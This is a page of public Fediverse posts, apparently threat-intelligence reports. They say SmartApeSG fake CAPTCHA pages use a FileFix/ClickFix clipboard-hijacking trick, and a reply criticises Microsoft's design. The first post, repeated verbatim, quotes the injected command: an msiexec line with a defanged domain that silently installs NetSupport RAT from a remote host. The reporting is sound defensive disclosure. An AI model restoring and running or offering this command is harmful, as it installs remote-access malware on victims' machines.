#filefix — Public Fediverse posts

2025-09-22 (Monday): #SmartApeSG using #FileFix style #ClickFix technique on its fake CAPTCHA page.

While #KongTuke has reportedly used FileFix, this is the first time I've seen it from SmartApeSG sites.

#clipboardhijacking Script injected into clipboard:

msiexec /i hxxps[:]//founderevo[.]com/res/velvet ISLANDABSTRACT=surgewarfare.bat /qn

The downloaded file is an MSI for #NetSupportRAT

https://www.virustotal.com/gui/file/958586ab1865a61a4da6280cc9b3c69005611bf19df1e74b7c025f3c3aae3f7a

2025-09-22 (Monday): #SmartApeSG using #FileFix style #ClickFix technique on its fake CAPTCHA page.

While #KongTuke has reportedly used FileFix, this is the first time I've seen it from SmartApeSG sites.

#clipboardhijacking Script injected into clipboard:

msiexec /i hxxps[:]//founderevo[.]com/res/velvet ISLANDABSTRACT=surgewarfare.bat /qn

The downloaded file is an MSI for #NetSupportRAT

https://www.virustotal.com/gui/file/958586ab1865a61a4da6280cc9b3c69005611bf19df1e74b7c025f3c3aae3f7a

@campuscodi The "#FileFix" technique has an nonsensical name, but the design decision by #Microsoft which makes it possible is absolutely ridiculous. It at least makes sense to let the user run an executable from in the "Run" dialog; letting the user run an executable from the Location bar makes no sense. What conceivable use case did some engineer have in mind? Or did they just re-use an API without thinking?

They implemented a security defect by design, by violating the Principle of Least Astonishment. Microsoft never ceases to amaze.

https://en.wikipedia.org/wiki/Principle_of_least_astonishment

#humanFactor #POLA